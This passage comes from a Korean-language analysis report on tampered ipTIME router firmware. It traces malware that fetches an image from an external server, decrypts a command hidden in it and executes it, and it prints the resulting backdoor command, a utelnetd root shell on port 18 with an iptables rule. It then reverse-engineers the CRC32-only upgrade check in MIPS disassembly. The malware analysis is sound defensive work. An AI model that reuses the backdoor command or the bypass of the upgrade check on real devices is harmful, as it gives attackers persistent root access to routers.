/dev/null",null}) telnetd: starting port: 18; interface: any; login program: /bin/sh = 4879 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4876 close(4) = 0 4876 exit(0) [텍스트 2-13] pptpctrld 동적 분석 -strace 기능을 이용하면 이미 복호화된 문자열을 보여주어 분석에 용이하다. [텍스트 2-12]에서 복호화 한 문자열과 일치하는 것을 확인할 수 있다. 하지만, 위 문자열 형태로 복호화하기 위한 루틴을 보기 위해 악성코드 파일을 좀더 분석해보았다. 일단 구조는 다음과 같다. - 14 -

[그림 2-14] main() 함수 마지막 부분 악성코드의 마지막 부분에서 파일에서 read() 하고 그 값을 AES128-CBC 복호화하고 그 값을 인자로 하여 fork()와 execve()를 호출하는 것을 확인할 수 있었다. 결론적으로 동적 및 정적 분석을 통해 파 악한 악성코드의 행위를 Pseudo Code 형태로 나타내면 다음과 같다. sleep(60) system(decrypted( 외부 주소에서 electrtrocat.png 파일을 /etc/pptpd.conf 에 다운받기)); sleep(3) file = fopen(decrypted( /tmp/etc/pptpd.conf ), rb ) execve( /bin/sh, -c, decrypt(key: md5_raw(read(file, 0x52b, 4)), iv: md5_raw(read(file, 0x52f, 4)), data : read(file, 0x14D40, 0x70))); // system 과 명령어 실행 방식은 동일 [텍스트 2-15] pptpctrld pseudo code 위 코드에서 언급한 md5_raw() 함수는 문자열에 대한 16바이트의 md5 해시이며, hex-encoding은 되어있지 않다. 또한 execve() 함수는 /bin/sh c 뒤에 인자를 넣어서 명령어를 실행해준다. [텍스 트 2-6]에서 decrypted 는 악성코드 내에 암호화된 문자열들이 복호화된 상태를 의미하며 decrypt() 함수는 인자로 명시된 key, iv를 이용하여 data값에 대한 AES128-CBC 복호화를 수행한 다는 의미이다. read(file, offset, length)는 파일의 오프셋 위치에서 길이만큼 데이터를 읽어서 반환하는 함수를 의미한다. 결국 정리하면, 해당 악성코드 파일은 외부서버에서 받아온 데이터(이미지) 의 끝 부분에 있는 난독화된 명령어를 복호화한 후 다시 실행시켜주는 역할을 한다. 복호화된 명령어는 다음과 같다. [#2-3] 악성코드가 외부서버에서 받아온 데이터는 어떤 행위를 하는가? /sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null & /sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null - 15 -

위 명령어는 utelnetd를 실행하여 18번 포트에 /bin/sh를 실행시켜주는 동작을 설정한다. 그리고 iptables 명령어를 이용해 inbound 규칙을 설정하여 18번 포트에 대한 접근을 허용한다. 그리고 에러 내용은 /dev/null에 리다이렉트 시킨다. utelnetd는 일반 telnet 데몬처럼 동작하지만 지금은 /bin/sh를 로그인 프로그램에 지정했으므로 연결 후 즉시 쉘을 얻을 수 있다. 즉, 이는 백도어 프로그램을 의미한 다. 2.4 추가 가능한 공격 시나리오를 서술하시오. 변조된 펌웨어는 /sbin/initi, /sbin/pptpctrld, /sbin/utelnetd 파일을 포함하고 있으며 /sbin/pptpctrld 파일은 외부 웹 주소에서 이미지 파일을 받아와 명령어를 복호화하여 실행한다. 따라서 공유기를 재시 작할 때(구동시킬 때 포함) 외부의 명령이 공유기의 최고 권한으로 실행될 수 있다. 또한 앞에서 언급 한 데이터로 인해 외부에서 공유기의 최고 권한 shell이 18번 포트를 통해서 마음껏 접속할 수 있다. 이는 변조된 펌웨어에 있었으므로 펌웨어 업데이트가 추가적으로 이루어지거나 공유기가 손상되지 않는 이상 지속된다. 3. 공격자가 펌웨어를 수정할 수 있었던 원인은 펌웨어 검증 논리에 취약점이 있기 때문이다. 펌웨어 검증과정과 취약점에 대해 서술하시오. 공유기의 펌웨어가 업데이트 될 때 변경되는 펌웨어가 이상이 없는지 검증을 수행하고 만약 이상이 없 다면 정상적으로 업데이트 한다. 하지만, 만약 이 과정에서 펌웨어의 검증 논리에 취약점이 있다면 공 격자가 임의로 설정한 펌웨어로 업데이트가 가능하다. 즉, 공격자가 원하는대로 펌웨어를 수정할 수 있 다는 것이다. 그래서 공격자가 펌웨어를 수정할 수 있었던 공격 벡터는 펌웨어 업그레이드라 판단하고 펌웨어 업그레이드 루틴을 찾기 위해서 iptime 관리자 메뉴에서 업그레이드 파일이 무슨 인수로 전달 되는지 확인해보았다. 이때 example.bin 프로그램을 임의로 만들고 수동 업데이트로 업로드하였다. POST http://192.168.0.1/cgi-bin/upgrade.cgi HTTP/1.1 Host: 192.168.0.1 Connection: keep-alive Content-Length: 298 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 Content-Type: multipart/form-data; boundary=----webkitformboundary0ljpjbbytmebaxmf Referer: http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=sysconf&smenu=swupgrade Accept-Encoding: gzip, deflate Accept-Language: ko-kr,ko;q=0.8,en-us;q=0.6,en;q=0.4 ------WebKitFormBoundary0ljpjBByTmEBAXMf Content-Disposition: form-data; name="upgrade"; filename="example.bin" - 16 -

Content-Type: text/plain ------WebKitFormBoundary0ljpjBByTmEBAXMf Content-Disposition: form-data; name="upload_submit" ------WebKitFormBoundary0ljpjBByTmEBAXMf-- [텍스트 3-1] 펌웨어 업그레이드 패킷 캡쳐 upgrade라는 이름으로 전송되며 multipart 형식의 POST 요청을 쓴다. 업그레이드용 파일 (example.bin)은 upgrade 라는 이름으로 upgrade.cgi로 전송되고 있었다. 일단 펌웨어 업데이트의 동작방식을 이해하기 위해 upgrade.cgi 파일을 분석해보았다..text:0040118C.align 4.text:00401190 la $s0, 0x400000.text:00401194.text:00401198 addiu $s0, (asbr - 0x400000) # "%s<br>\n".text:0040119c la $a1, 0x400000.text:004011A0.text:004011A4 addiu $a1, (unk_401ca4-0x400000) # 펌웨어 파일이 올바른지 검사합니다.text:004011A8 move $a0, $s0.text:004011ac la $t9, printf.text:004011b0.text:004011b4 jalr $t9 ; printf.text:004011b8.text:004011bc.text:004011c0 lw $gp, arg_10($sp).text:004011c4 move $a0, $s0.text:004011c8 la $a1, 0x400000.text:004011CC.text:004011D0 addiu $a1, (asto_ - 0x400000) # "잠시만 기다리십시오.".text:004011D4 la $t9, printf.text:004011d8.text:004011dc jalr $t9 ; printf.text:004011e0.text:004011e4.text:004011e8 lw $gp, arg_10($sp).text:004011ec li $v0, 2.text:004011F0 li $a0, 3.text:004011F4 beq $s1, $v0, loc_40124c.text:004011f8.text:004011fc.text:0040124c loc_40124c: # CODE XREF: main+5f4j.text:0040124c la $t9, set_sw_upgrade_status.text:00401250.text:00401254 jalr $t9 ; set_sw_upgrade_status.text:00401258.text:0040125c.text:00401260 lw $gp, arg_10($sp).text:00401264 b loc_401200.text:00401268-17 -

[텍스트 3-2] upgrade.cgi 펌웨어 파일이 올바른지 검사합니다, 잠시만 기다리십시오 를 출력한 후 set_sw_upgrade_status 함수를 호출하는 것을 확인할 수 있었다. 하지만, 분석해본 결과 모든 업데이트 과정을 upgrade.cgi 에서 처리하지 않는 것을 알았다. 그래서 해당 키워드를 이용해서 펌웨어에서 검색해보았고 결과는 다 음과 같았다. $ grep -r set_sw_upgrade_status Binary file sbin/httpd matches Binary file sbin/rc matches Binary file usr/lib/libuserland.so matches Binary file cgibin/upgrade.cgi matches [텍스트 3-3] set_sw_upgrade_status 함수가 사용되는 파일 검색 펌웨어 업데이트에 관련된 바이너리는 sbin/httpd, sbin/rc 인 것을 확인할 수 있었고, 이를 분석해 본 결과 전체적인 업데이트 검증 및 업데이트 과정은 다음과 같다. 1. upgrade.cgi 에서 POST 방식으로 update 정보 전달 ------WebKitFormBoundary0ljpjBByTmEBAXMf Content-Disposition: form-data; name="upgrade"; filename="example.bin" Content-Type: text/plain 2. sbin/httpd 에서 form-data; name="upgrade 문자열이 있는지 strstr(), memcmp() 함수를 통해 확인 3. 만약 있다면 기존의 /tmp/firmware 파일에 대한 링크를 해제하고 /tmp/lost+found 파일을 삭제한 뒤 /var/run/upgrade_status 파일의 내용을 1 로 설정. 그 다음 /tmp/firmware 파일을 새로 생성하고 POST 데이터 전체를 /tmp/firmware 파일에 쓴 다음에 set_sw_upgrade_status() 함수를 호출하여 /var/run/upgrade_status 파일의 내용을 2 로 변경. 그 후 1 번 pid(sbin/rc)에 2 번 시그널을 전달. sbin/rc 는 /var/run/upgrade_status 가 3 일때까지 1 초마다 확인하면서 대기하는 함수 실행. 4. cgibin/upgrade.cgi 에서 /var/log/upgrade_status 파일의 내용을 읽어와 2 이면 펌웨어 파일이 올바른지 검사합니다., 잠시만 기다리십시오. 를 화면에 출력하고 /var/run/upgrade_status 파일의 내용을 3 으로 변경 5. sbin/rc 에서 /var/run/upgrade_status 파일의 내용을 읽어와 만약 3 이라면 해당 펌웨어에 대한 검증 수행 6. 먼저 펌웨어의 크기를 체크하고 nvram_get_embedded() 함수를 호출하여 product_name, no_downgrade 값을 읽어서 체크함. /var/run/nochk 파일이 없거나 /var/run/hwinfo 파일에 bulkfirm=<0/-1 이 아닌 숫자>가 들어있을 경우 n704v3<->n704lg 간에 기종 이름 바꾸는 것을 허용함. 아닐 경우 기기의 nvram 상의 product_name 과 펌웨어에 있는 기종 이름이 같아야 유효한 펌웨어인 것으로 처리함.. no_downgrade 는 다운그레이드 가능한 최소 버전보다 업데이트하려는 펌웨어의 버전이 높으면 유효한 펌웨어인 것으로 처리함. 그 다음 crc32() 함수를 호출해 펌웨어의 체크섬 값을 검증. 7. 만약 검증을 올바르게 통과하면 /var/run/upgrade_status 파일의 내용을 6 으로 변경하고 만약 통과하지 못할 경우 /var/run/upgrade_status 파일의 내용을 4 로 변경하고 5 초간 sleep 하고 재부팅 8. 검증을 성공적으로 통과한 경우 sbin/upgrade.cgi 에서 펌웨어 검증이 성공적으로 끝났습니다. 현재 제품의 플래시 메모리로 펌웨어를 업데이트 하고 있습니다. 메시지를 출력하고 /var/run/upgrade_status 파일의 내용을 5 로 변경 9. sbin/rc 에서 /var/run/upgrade_status 파일을 읽어 만약 값이 5 라면 br0, vlan2 네트워크 인터페이스를 닫고 펌웨어 버전이 0.00 으로 표시된 경우 /dev/mtd0 인터페이스를 통해 부트로더를 쓰고 /dev/mtd1 인터페이스를 통해 해당 펌웨어의 오프셋 0x20000 의 위치를 플래시 메모리에 복사하고 만약 성공했다면 /tmp/firmware 에 대한 링크를 해제한 후 재부팅하고 실패할 경우 /var/run/upgrade/status 파일의 내용을 4 로 설정하고 5 초간 sleep 하고 재부팅. 이때 5 초 sleep 하는 동안 cgibin/upgrade.cgi 에서 업데이트에 실패하였다는 메시지를 출력함 - 18 -

[텍스트 3-4] 전체적인 펌웨어 검증 및 업데이트 과정 sbin/httpd 에서 sub_411c3c(편의상 upgrade_str_check_411c3c 로 표기) 부분이 form-data; name= upgrade 문자열을 체크한다..text:00411C3C upgrade_str_check_411c3c:.text:00411c88 la $a1, 0x420000.text:00411C8C.text:00411C90 addiu $a1, (aformdata - 0x420000) # "form-data".text:00411c94 move $a0, $s1.text:00411c98 la $t9, strstr.text:00411c9c.text:00411ca0 jalr $t9 ; strstr.text:00411ca4.text:00411ca8.text:00411cac lw $gp, 0x28+var_18($sp).text:00411CB0.text:00411CB4 la $a1, 0x420000.text:00411CB8.text:00411CBC addiu $a1, (aname - 0x420000) # "name=".text:00411cc0 beqz $v0, loc_411d90.text:00411cc4 move $a0, $v0.text:00411cc8.text:00411ccc la $t9, strstr.text:00411cd0.text:00411cd4 jalr $t9 ; strstr.text:00411cd8.text:00411cdc.text:00411ce0 lw $gp, 0x28+var_18($sp).text:00411CE4 addiu $a0, $v0, 6.text:00411CE8 la $a1, 0x420000.text:00411CEC.text:00411CF0 addiu $a1, (aupgrade - 0x420000) # "upgrade".text:00411cf4 li $a2, 7.text:00411CF8 beqz $v0, loc_411d90.text:00411cfc.text:00411d00.text:00411d04 la $t9, memcmp.text:00411d08.text:00411d0c jalr $t9 ; memcmp.text:00411d10.text:00411d14.text:00411d18 lw $gp, 0x28+var_18($sp).text:00411D1C bnez $v0, loc_411d90.text:00411d90 loc_411d90: # CODE XREF: upgrade_str_check_411c3c.text:00411d90 move $v1, $zero.text:00411d94.text:00411d94 loc_411d94: # CODE XREF: upgrade_str_check_411c3c.text:00411d94 lw $ra, 0x28+var_4($sp).text:00411D98 lw $s1, 0x28+var_C($sp).text:00411D9C lw $s0, 0x28+var_10($sp).text:00411DA0 move $v0, $v1.text:00411da4 addiu $sp, 0x28.text:00411DA8 jr $ra - 19 -

.text:00411dac.text:00411adc loc_411adc: # CODE XREF: write_body:loc_41188cj.text:00411adc move $a1, $s2.text:00411ae0 la $t9, 0x410000.text:00411AE4.text:00411AE8 addiu $t9, (upgrade_str_check_411c3c - 0x410000).text:00411AEC.text:00411AF0 jalr $t9 ; upgrade_str_check_411c3c.text:00411af4.text:00411af8.text:00411afc lw $gp, 0x30+var_20($sp).text:00411B00 beqz $v0, loc_411898 [텍스트 3-5] sbin/httpd 에서 upgrade 문자열 체크 루틴 만약 upgrade 문자열이 있다면 loc_411898로 가게 된다..text:00411898 loc_411898:.text:00411898 la $v0, upgrade_start.text:0041189c.text:004118a0 lw $v0, (upgrade_start - 0x10000A60)($v0).text:004118A4.text:004118A8 beqz $v0, loc_411ab0.text:004118ac move $a2, $s2.text:004118b0.text:004118b4 la $a0, 0x420000.text:004118B8.text:004118BC addiu $a0, (atmpfirmware - 0x420000) # "/tmp/firmware".text:004118c0 la $a1, 0x420000.text:004118C4.text:004118C8 addiu $a1, (aa - 0x420000) # "a".text:004118cc la $t9, fopen.text:004118d0.text:004118d4 jalr $t9 ; fopen.text:004118d8.text:004118dc.text:004118e0 lw $gp, 16($sp).text:004118E4 lw $a0, 52($s1).text:004118E8 move $a2, $s2.text:004118ec move $s0, $v0.text:004118f0 li $a1, 1.text:004118F4 move $a3, $v0.text:004118f8 la $t9, fwrite.text:004118fc.text:00411900 jalr $t9 ; fwrite.text:00411904-20 -

.text:00411908.text:00411930 lw $v0, 0x24($s1).text:00411934.text:00411938 bnez $v0, loc_4119c0.text:004119c0 loc_4119c0:.text:004119c0 lw $a0, 0x34($s1).text:004119C4 la $t9, 0x410000.text:004119C8.text:004119CC addiu $t9, (sub_411db4-0x410000).text:004119d0.text:004119d4 jalr $t9 ; sub_411db4 # memsearch2().text:004119d8.text:004119dc.text:004119e0 lw $gp, 0x30+var_20($sp).text:004119E4 li $a0, 2.text:004119E8 bnez $v0, loc_411a28.text:004119ec.text:004119f0.text:004119f4 lw $s0, 0x24($s1).text:004119F8 la $t9, hwinfo_get_max_firmware_size.text:004119fc.text:00411a00 jalr $t9 ; hwinfo_get_max_firmware_size.text:00411a04.text:00411a08.text:00411a0c lw $gp, 0x30+var_20($sp).text:00411A10 addu $s0, $s2.text:00411a14 sltu $v0, $s0.text:00411a18 li $a0, 2.text:00411A1C beqz $v0, loc_411944.text:00411a20.text:00411a24.text:00411a28 loc_411a28:.text:00411a28 la $t9, set_sw_upgrade_status.text:00411a2c.text:00411a30 jalr $t9 ; set_sw_upgrade_status.text:00411a34.text:00411a38.text:00411a3c lw $gp, 0x30+var_20($sp).text:00411A40.text:00411A44 la $a1, stderr.text:00411a48.text:00411a4c lw $a1, (stderr - 0x10005D40)($a1).text:00411A50 la $a0, 0x420000.text:00411A54.text:00411A58 addiu $a0, (auploadcomplete - 0x420000) # "upload complete..".text:00411a5c la $at, upgrade_start.text:00411a60.text:00411a64 sw $zero, (upgrade_start - 0x10000A60)($at).text:00411A68 la $t9, fputs.text:00411a6c.text:00411a70 jalr $t9 ; fputs.text:00411a74.text:00411a78.text:00411a7c lw $gp, 0x30+var_20($sp).text:00411A80 li $a0, 1.text:00411A84 li $a1, 2.text:00411A88 la $t9, kill - 21 -

.text:00411a8c.text:00411a90 jalr $t9 ; kill.text:00411a94.text:00411a98.text:00411a9c lw $gp, 0x30+var_20($sp).text:00411AA0 li $v0, 0xFFFFFFFF.text:00411AA4 b loc_411948 [텍스트 3-6] sbin/httpd 에서 set_sw_upgrade_status(2), kill(1, 2) 호출 loc_411898 에서는 /tmp/firmware 파일을 생성하고 fwrite() 함수를 호출한 다음 조건문을 통과하 면 loc_4119c0 으로 오게되고 여기서는 memsearch2()의 결과가 0이 아니면 loc_411a28에서 set_sw_upgrade_status(2)를 호출하게 된다. 즉, /var/run/upgrade_status 값이 2로 변경되는 것이다. 그 다음 kill(1, 2) 함수를 호출하여 1번 PID로 구동중인 sbin/rc 프로세스에 2번 시그널을 전송하게 된다. sbin/init 및 sbin/preinit으로 링크된 sbin/rc 프로세스는 리눅스 구동 시 시작되어 2번 시그널을 포함한 여러 시그널에 대한 응답 함수를 두고 있다. 다음은 sbin/rc에서 시그널을 처리한 과 정이다..text:0040F404 addiu $s0, (sub_40e7d4 0x410000)....text:0040F540 lw $gp, 0xA8+var_98($sp).text:0040F544 li $a0, 2.text:0040F548 move $a1, $s0.text:0040f54c la $t9, signal.text:0040f550.text:0040f554 jalr $t9 ; signal.text:0040f558.text:0040f55c [텍스트 3-7] sbin/rc 시작시 외부에서 오는 시그널에 대한 처리를 등록.text:0040E7D4 li $gp, 0xFC7BB5C.text:0040E7DC addu $gp, $t9.text:0040e7e0 addiu $sp, -0x28.text:0040E7E4 sw $gp, 0x28+var_18($sp).text:0040E7E8 sw $s0, 0x28+var_10($sp).text:0040E7EC li $s0, 1 ; 시그널 2에 해당하는 명령어 번호 1 대입....text:0040E850 li $at, 2.text:0040E854 beq $a0, $v0, loc_40ebb0 ; 여기서는 v0이 2가 아님.text:0040E858 move $v0, $at ; 여기서 v0이 2로 설정됨.text:0040E85C.text:0040E860 li $at, 0xE.text:0040E864 beq $a0, $v0, loc_40eb08 ; 시그널 2에 대한 분기.text:0040E868 move $v0, $at - 22 -

.text:0040e86c....text:0040eb08 la $a0, 0x430000.text:0040EB0C.text:0040EB10 addiu $a0, (adevconsole_1-0x430000) # "/dev/console.text:0040eb14 la $a1, 0x430000.text:0040EB18.text:0040EB1C addiu $a1, (aw_1-0x430000) # "w.text:0040eb20 la $t9, fopen.text:0040eb24.text:0040eb28 jalr $t9 ; fopen.text:0040eb2c.text:0040eb30....text:0040eb94 la $at, 0x10000000.text:0040EB98.text:0040EB9C addiu $at, (dword_10000088 0x10000000).text:0040EBA0 sw $s0, (dword_10000088 0x10000088)($at).text:0040EBA4 b loc_40e8c4....text:0040e8c4 la $a0, 0x10000000.text:0040E8C8.text:0040E8CC addiu $a0, (dword_10000088 0x10000000).text:0040E8D0 lw $a0, (dword_10000088 0x10000088)($a0).text:0040E8D4 la $t9, 0x410000.text:0040E8D8.text:0040E8DC addiu $t9, (add_to_sigqueue_40e6d0 0x410000).text:0040E8E0.text:0040E8E4 jalr $t9 ; add_to_sigqueue_40e6d0 [텍스트 3-8] 시그널 수신 후 시그널을 rc 내에서 쓰는 명령어로 변환하여 queue에 추가.text:0040F7EC addiu $t9, (sigqueue_pop_40e744 0x410000).text:0040F7F0.text:0040F7F4 jalr $t9 ; sigqueue_pop_40e744.text:0040f7f8.text:0040f7fc.text:0040f800 lw $gp, 0xA8+var_98($sp).text:0040F804.text:0040F808 la $at, 0x10000000.text:0040F80C.text:0040F810 addiu $at, (dword_10000084 0x10000000).text:0040F814 sw $v0, (dword_10000084 0x10000084)($at) - 23 -

... [텍스트 3-9] sbin/init 혹은 sbin/preinit 으로 실행된 sbin/rc 프로세스의 루틴에서 명령어를 큐에서 한 개씩 pop한 후 그 값을.data 섹션의 0x10000084 주소에 저장.text:0040F68C la $a0, 0x10000000.text:0040F690.text:0040F694 addiu $a0, (dword_10000084 0x10000000).text:0040F698 lw $a0, (dword_10000084 0x10000084)($a0).text:0040F69C.text:0040F6A0 sltiu $v0, $a0, 0xA.text:0040F6A4 sll $at, $a0, 2.text:0040F6A8 beqz $v0, loc_40f93c.text:0040f6ac move $v0, $at.text:0040f6b0.text:0040f6b4 la $v1, 0x430000.text:0040F6B8.text:0040F6BC addiu $v1, (switch_table_42fa30 0x430000).text:0040F6C0 addu $v1, $v0.text:0040f6c4 lw $v1, 0($v1).text:0040F6C8.text:0040F6CC addu $v1, $gp.text:0040f6d0 jr $v1.text:0040f6d4... [텍스트 3-10] 동일 함수에서.data 섹션의 0x10000084에 있는 값을 switch 구문에 의해 생성되는 table을 이용하여 분기 처리(현재 명령어 값은 1) - 24 -

.rodata:0042fa30 switch_table_42fa30:.word 0xF03853FC # 0x40f72c.rodata:0042FA34.word 0xF03853AC # 0x40f6dc.rodata:0042FA38.word 0xF03855A0 # 0x40f8d0.rodata:0042FA3C.word 0xF0385484 # 0x40f7b4.rodata:0042FA40.word 0xF03855C4 # 0x40f8f4.rodata:0042FA44.word 0xF038549C # 0x40f7cc.rodata:0042FA48.word 0xF0385440 # 0x40f770.rodata:0042FA4C.word 0xF038569C # 0x40f9cc.rodata:0042FA50.word 0xF038577C # 0x40faac.rodata:0042FA54.word 0xF03857D8 # 0x40fb08 # 주석으로 실제 분기의 위치를 표기함(함수에서 상수를 더하는 방식으로 계산하면 됨) # 1번이므로 두 번째 인덱스에 대응되는 주소 0x40f6dc로 분기하는 것을 확인 [텍스트 3-11] 사용되는 switch table.text:0040f6dc la $a0, 0x430000.text:0040F6E0.text:0040F6E4 addiu $a0, (atmpfirmware_1-0x430000) # "/tmp/firmware.text:0040f6e8 la $a1, 0x430000.text:0040F6EC.text:0040F6F0 addiu $a1, (amtd1-0x430000) # "mtd1.text:0040f6f4 la $t9, updaemon.text:0040f6f8.text:0040f6fc jalr $t9 ; updaemon.text:0040f700.text:0040f704... [텍스트 3-12] 명령어 1번(업그레이드)에 대한 분기(updaemon 함수 실행) 시그널이 전달된 sbin/rc 프로세스는 위의 과정에 따라 [그림 3-13]에 나오는 updaemon 프로시저를 실행하여 /var/run/upgrade_status의 값이 3 또는 5가 되는 것을 대기하게 된다. 그 다음 cgibin/upgrade.cgi 에서는 해당 값을 읽어서 [텍스트 3-2]와 같은 루틴을 수행하고, 결국 /var/run/upgrade_status 파일의 내용은 3이 된다. 이 값은 앞서 언급한 sbin/rc 의 updaemon 프로시저에서 확인하는데 이는 다음과 같다. - 25 -

[그림 3-13] updaemon 프로시저 내부 루틴 sbin/rc 의 내부 updaemon 프로시저는 계속 /var/run/upgrade_status 값을 확인하는데 만약 그 값이 3이라면 loc_409570으로 가게되어 펌웨어 검증 루틴(sub_407F00, 여기서는 firmware_check_407f00으로 표기)을 수행한다. 그리고 정상적으로 통과했을 경우 0x4095A0으로 가 /var/run/upgrade_status 값을 6으로 설정하고 아닌 경우 loc_4095cc로 가서 4로 설정하고 재부팅한다. 가장 핵심부분인 펌웨어 검증 루틴을 보면 다음과 같이 crc32() 함수를 이용해 검증하는 것을 확인할 수 있었다..text:00408520 loc_408520:.text:00408520 subu $a1, $s0, $s2.text:00408524 la $t9, crc32.text:00408528.text:0040852c jalr $t9 ; crc32.text:00408530.text:00408534.text:00408538 lw $gp, 0x21E8+var_21D0($sp).text:0040853C b loc_408490.text:00408540 move $s3, $v0 # $s3 : crc32() result.text:00408490 loc_408490:.text:00408490 lw $v0, 0x68($sp) # v0 : file checksum.text:00408494.text:00408498 li $a2, 0x38.text:0040849C beq $v0, $s3, loc_4084e8.text:004084a0.text:004084a4.text:004084a8 la $a0, stderr - 26 -

.text:004084ac.text:004084b0 lw $a0, (stderr - 0x1008BDCC)($a0).text:004084B4 la $a1, 0x430000.text:004084B8.text:004084BC addiu $a1, (acrcerrordd - 0x430000) # "CRC ERROR %d %d\n".text:004084c0 li $a3, 0x1C.text:0040850C loc_40850c:.text:0040850c lw $v0, 0x64($sp).text:00408510 addiu $v0, 0x38.text:00408514 b loc_408060.text:00408518 [텍스트 3-14] 펌웨어 검증 부분 fseek() 함수를 호출하여 부트로더와 파일시스템 사이의 체크섬 값($v0)을 읽어오고 총 3번에 걸쳐 crc32()를 호출하여 얻은 값($s3)을 기존의 체크섬 값과 비교하여 동일하면 정상적으로 해당 프로시 저가 종료되고 일치하지 않으면 CRC ERROR 메시지를 출력하고 -1(0xFFFFFFFF)을 반환한다. 결국 이 반환 값을 가지고 /var/run/upgrade_status 파일의 내용을 6으로 설정할지 4로 설정할지 갈리 게 된다. 하지만, 검증과정을 자세히 분석해본 결과 crc32를 통해 체크섬을 확인하는 것 말고는 특이한 검증과정이 없었다. 검증 과정에 쓰이는 펌웨어 구조는 아래와 같았다. 부트로더 (0x00000 ~ 0x1FFFF) TRX 펌웨어 헤더 구조체 검증에 사용되는 구조체의 부분은 다음과 같음 magic( HDR0 으로 고정) offset : 0x0 ~ 0x3 length(펌웨어의 길이) offset : 0x4 ~ 0x7 (리틀엔디안) CRC 값 Offset : 0x8 ~ 0x11 (리틀엔디안) TRX 헤더의 오프셋 0x12 부터 length 1 오프셋까지 CRC 값이 계산되어 오프셋 0x8 ~ 0x11 에 있는 CRC 값과 체크하는 루틴이 존재 펌웨어 데이터 (length 0x28(=TRX Header Size) byte) 펌웨어 모델 및 버전 정보 구조체 검증에 사용되는 구조체의 부분은 아래와 같음 모델 이름(n604s\x00\x00\x00) offset : 0x0 ~ 0x7 펌웨어 버전(9.72\x00\x00\x00\x00) offset : 0x8 ~ 0x15 (형식 : #.###### (#:숫자)) 이 구조체는 길이가 56 바이트이나 검증에는 처음 16 바이트의 모델 이름, 펌웨어 버전만 사용. \x00 은 아스키 코드 0 인 바이트를 의미하며 문자열의 끝을 나타냄 검증을 올바르게 통과하면 /var/run/upgrade_status 값이 6으로 설정되고 이는 cgibin/upgrade.cgi 프로그램에서 탐지하여 펌웨어 검증이 성공적으로 끝났습니다. 메시지를 출력 하고 /var/run/upgrade_status 값을 5로 변경한다. - 27 -

.text:0040141c la $s0, 0x400000.text:00401420.text:00401424 addiu $s0, (asbr - 0x400000) # "%s<br>\n".text:00401428.text:0040142c move $a0, $s0.text:00401430 la $a1, 0x400000.text:00401434.text:00401438 addiu $a1, (asc_401e04-0x400000) # "펌웨어 검증이 성공적으로 끝났습니다.text:0040143C la $t9, printf.text:00401440.text:00401444 jalr $t9 ; printf.text:00401448.text:0040144c.text:004015b8 lw $gp, arg_10($sp).text:004015bc li $a0, 5.text:004015C0 la $t9, set_sw_upgrade_status.text:004015c4.text:004015c8 jalr $t9 ; set_sw_upgrade_status.text:004015cc.text:004015d0 [텍스트 3-15] 펌웨어 검증이 성공적으로 끝난 후 cgibin/upgrade.cgi 에서 upgrade_status 파일 값 변경 그 다음, /var/run/upgrade_status 값이 5이면 sbin/rc 에서 다음과 같은 루틴을 수행한다..text:004092B0 loc_4092b0:.text:004092b0 la $t9, get_sw_upgrade_status.text:004092b4.text:004092b8 jalr $t9 ; get_sw_upgrade_status.text:004092bc.text:004092c0.text:004092c4 lw $gp, 16($sp).text:004092C8 move $a0, $s4.text:004092cc addu $a1, $s1, $s3.text:004092d0 addiu $a2, $sp, 24.text:004092D4 beq $v0, $s0, loc_409570 # $s0 : 3.text:004092D4 # $v0 : /var/run/upgrade_status.text:004092d8.text:004092dc.text:004092e0 li $a0, 1.text:004092E4 beq $v0, $s2, loc_409314 # $s2 : 5-28 -

.text:00409314 loc_409314:.text:00409314 la $t9, signal_isysd_toggle.text:00409318.text:0040931c jalr $t9 ; signal_isysd_toggle.text:00409320.text:00409324.text:00409328 lw $gp, 0x78+var_68($sp).text:0040932C.text:00409330 la $a0, 0x430000.text:00409334.text:00409338 addiu $a0, (akillalligmppro - 0x430000) # "killall igmpproxy".text:0040933c la $t9, system.text:00409340.text:00409344 jalr $t9 ; system.text:00409348.text:0040934c.text:004093e8 lw $gp, 0x78+var_68($sp).text:004093EC beqz $v0, loc_409544.text:00409544 loc_409544:.text:00409544 move $a1, $s1.text:00409548 la $t9, update_boot.text:0040954c.text:00409550 jalr $t9 ; update_boot.text:00409554.text:00409558.text:0040955c lw $gp, 0x78+var_68($sp).text:00409560 li $s0, 0xFFFFFFFF.text:00409564 b loc_4093fc.text:00409568-29 -

# loc_409544 : 펌웨어 버전이 0.00 으로 지정되있을 경우 부트로더 영역에 부트로더 쓰기(update_boot) # loc_4093fc : Update firmware 출력 및 플래시 메모리에 펌웨어 쓰기(write_firmware) # write_firmware 성공시 0xf0945C 로 실패할 경우 loc_4094e0 으로 수행 - 30 -

# 펌웨어 업데이트 성공시 /tmp/firmware 에 대한 링크를 해제하고 재부팅 # 펌웨어 업데이트 실패시 /var/run/upgrade_status 값 4 로 설정하고 5 초간 sleep 한 후 재부팅 [텍스트 3-16] upgrade_status 값이 5일때 sbin/rc 에서 수행하는 루틴 다음은 sbin/rc의 update_boot 함수의 루틴이다. - 31 -

